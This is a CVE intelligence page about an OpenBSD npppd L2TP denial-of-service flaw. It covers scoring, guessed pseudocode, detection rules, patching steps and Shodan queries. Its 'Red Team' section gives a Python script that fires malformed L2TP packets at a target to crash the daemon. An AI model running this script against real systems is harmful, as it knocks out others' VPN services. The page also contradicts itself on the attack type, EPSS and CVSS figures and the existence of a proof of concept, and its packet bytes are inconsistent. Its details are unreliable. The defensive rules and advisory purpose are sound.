☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Openbsd logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-130
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-52557

CVE-2023-52557 Supply Chain Attack in Openbsd
📅 PUBLISHED: 2024-03-01 16:14 UTC 🔄 UPDATED: 2026-08-21 19:34 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.6× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-52557 is a denial-of-service (DoS) vulnerability in the npppd(8) daemon on OpenBSD 7.3. The flaw is triggered by a specially crafted L2TP message containing an Attribute-Value Pair (AVP) with an incorrect length field. When processed, this malformed AVP causes npppd to crash, disrupting L2TP-based VPN services. The vulnerability is patched in OpenBSD 7.3 errata 016. No public proof-of-concept or exploit code has been released, and the EPSS score is 0.0%, indicating low active exploitation in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a core operating system component (npppd) in OpenBSD.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete scoring data. Based on the nature of the vulnerability (network-triggered DoS with no authentication required), a reasonable estimated score would be:

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 7.5 (High)
  • Attack Vector: Network (L2TP control messages)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: None
  • Availability Impact: High

Threat Level: Medium (due to low EPSS and no public exploit, but high potential impact on VPN availability).

Deep Dive & Mechanics

The npppd(8) daemon is the Point-to-Point Protocol daemon on OpenBSD, responsible for handling L2TP (Layer 2 Tunneling Protocol) sessions. L2TP control messages are structured with AVPs that carry session parameters. Each AVP has a mandatory length field that indicates the total size of the AVP (including the length field itself).

The vulnerability lies in the AVP length validation logic. When npppd receives an L2TP control message containing an AVP where the length field is inconsistent with the actual data (e.g., a length value that is too small or too large relative to the remaining message buffer), the daemon fails to handle the inconsistency safely. This leads to a buffer over-read or out-of-bounds memory access, causing a segmentation fault and crashing the daemon.

The crash is a classic result of improper input validation (CWE-130). The code likely trusts the AVP length without verifying it against the remaining packet size, leading to a read beyond the allocated buffer.

Vulnerable vs. Patched Code

The exact code diff is not publicly available, but the patch (errata 016) addresses the AVP length validation. The vulnerable code likely looked like:

// Vulnerable pseudocode
void process_avp(uint8_t *data, size_t remaining) {
    uint16_t avp_len = ntohs(*(uint16_t*)data);
    // No check that avp_len <= remaining
    uint8_t *avp_value = data + 4; // skip header
    // Process avp_value based on avp_len
    // Potential out-of-bounds read if avp_len > remaining
}

The patched code would add a length check:

// Patched pseudocode
void process_avp(uint8_t *data, size_t remaining) {
    uint16_t avp_len = ntohs(*(uint16_t*)data);
    if (avp_len < 4 || avp_len > remaining) {
        // Invalid AVP length, drop message
        return;
    }
    uint8_t *avp_value = data + 4;
    // Safe processing
}

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. To reproduce the crash in a lab environment:

  1. Setup: Install OpenBSD 7.3 (unpatched) with npppd configured to accept L2TP connections.
  2. Craft Malformed L2TP Message: Use a tool like scapy or a custom Python script to send an L2TP control message with a malformed AVP.
#!/usr/bin/env python3
import socket
import struct

# L2TP control message with malformed AVP
# AVP length set to 0xFFFF (invalid)
l2tp_packet = (
    b'\xc8\x02\x00\x2c'  # L2TP header (T=1, L=1, ver=1, length=44)
    b'\x00\x01\x00\x00'  # Tunnel ID, Session ID
    b'\x00\x00\x00\x01'  # Ns, Nr
    b'\x00\x0a\x00\x04'  # AVP header (M=0, H=0, length=10, Vendor ID=0)
    b'\xff\xff'          # AVP length field = 65535 (malformed)
    b'\x00\x00'          # AVP value (padding)
)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(l2tp_packet, ('target_ip', 1701))
sock.close()
  1. Trigger: Send the packet repeatedly. The npppd daemon should crash, causing a denial of service.

Blue Team (Detection & Defense)

  • Monitor L2TP Traffic: Look for L2TP control messages with abnormal AVP lengths (e.g., length > 1000 bytes or length < 4 bytes).
  • Enable Logging: Configure npppd to log malformed packets (if supported).
  • Apply Patch: Immediately update to OpenBSD 7.3 errata 016 or later.
  • Network Segmentation: Restrict L2TP access to trusted IPs only.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • L2TP control messages (UDP port 1701) with AVP length fields that are inconsistent with the actual packet size.
    • Repeated connection attempts from a single source IP to UDP port 1701.
  • System IOCs:
    • npppd process crashes (check /var/log/messages for core dumps or segfaults).
    • Sudden termination of L2TP VPN sessions.

Detection Engineering

YARA Rule

rule CVE_2023_52557_L2TP_AVP_LENGTH {
    meta:
        description = "Detects malformed L2TP packets with invalid AVP length (CVE-2023-52557)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-52557"
    strings:
        $l2tp_header = { c8 02 }  // L2TP control message (T=1, L=1)
        $avp_length_bad = { ff ff }  // AVP length = 65535 (example)
    condition:
        $l2tp_header at 0 and $avp_length_bad
}

Sigma Rule

title: CVE-2023-52557 - Malformed L2TP AVP Length
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects L2TP packets with invalid AVP length fields targeting OpenBSD npppd
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        - event_type: "alert"
        - alert.signature_id: "3000001"
    condition: selection
falsepositives:
    - Legitimate L2TP traffic with unusual but valid AVP lengths
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 1701 (msg:"CVE-2023-52557 - Malformed L2TP AVP Length"; content:"|c8 02|"; offset:0; depth:2; content:"|ff ff|"; within:20; sid:3000001; rev:1;)

Remediation & Mitigation

  1. Immediate Patch: Apply OpenBSD 7.3 errata 016. For systems running OpenBSD 7.3, run:

    doas syspatch
    

    Or manually download and apply the patch from the OpenBSD errata page.

  2. Workaround (if patching is delayed):

    • Restrict L2TP access using firewall rules (e.g., pf.conf):
      pass in on egress proto udp from <trusted_ips> to port 1701
      
    • Disable npppd if not required:
      doas rcctl stop npppd
      doas rcctl disable npppd
      
  3. Monitoring: Deploy the Suricata rule above to detect exploitation attempts.

  4. Long-term: Keep OpenBSD updated to the latest -stable branch.


Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

port:1701 l2tp
OpenBSD npppd
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-52557/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.